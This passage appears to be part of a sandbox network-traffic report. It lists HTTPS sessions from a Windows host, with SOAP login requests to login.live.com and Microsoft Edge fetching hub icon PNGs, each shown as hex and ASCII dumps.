2024-11-08 14:21:09 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-08 14:21:10 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 08 Nov 2024 14:20:10 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: c4b4d798-7558-4ea1-8fac-8a5be878819a PPServer: PPV: 30 H: SN1PEPF0002F9AD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 08 Nov 2024 14:21:09 GMT Connection: close Content-Length: 11392
2024-11-08 14:21:10 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49788	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:11 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4722 Host: login.live.com
2024-11-08 14:21:11 UTC	4722	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-08 14:21:11 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 08 Nov 2024 14:20:11 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 75bccf7d-e3a3-4519-b70c-d7ca830a80d5 PPServer: PPV: 30 H: SN1PEPF0002F0E6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 08 Nov 2024 14:21:11 GMT Connection: close Content-Length: 10197
2024-11-08 14:21:11 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49790	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:12 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:12 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:12 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 6a8e19b3-801e-0039-4da3-2c28a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142112Z-16547b76f7fr4g8xhC1DFW9cqc00000008zg000000007awf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-08 14:21:12 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49797	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:12 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:12 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:12 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 77014e5e-501e-003b-454d-312a59000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142112Z-15869dbbcc6bdtw9hC1DFW9m4s00000001s000000000e1dn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-08 14:21:12 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49794	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:12 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:12 UTC	543	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:12 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 99894c1c-001e-0045-1fc3-31b596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142112Z-17df447cdb54qlp6hC1DFWqcfc00000005x000000000h80x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-08 14:21:12 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49795	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:12 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:12 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:12 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: df61122f-801e-0010-1f70-315ee1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142112Z-15869dbbcc6tfpj2hC1DFW384c00000003eg0000000084mv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-08 14:21:12 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49796	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:12 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:12 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:12 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 794c108b-001e-000a-0ab4-2e718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142112Z-16547b76f7fvllnfhC1DFWxkg800000009sg00000000cxz3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-08 14:21:12 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49793	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:12 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:12 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:12 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 19db0411-001e-0028-5172-2c1fb8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142112Z-16547b76f7ftdm8dhC1DFWs13g00000009tg00000000496d Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-08 14:21:12 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49801	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:13 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:13 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:13 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: e335897b-a01e-0007-3434-2f9e82000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142113Z-16547b76f7fj5p7mhC1DFWf8w400000009v000000000cqqg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-08 14:21:13 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49802	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:13 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
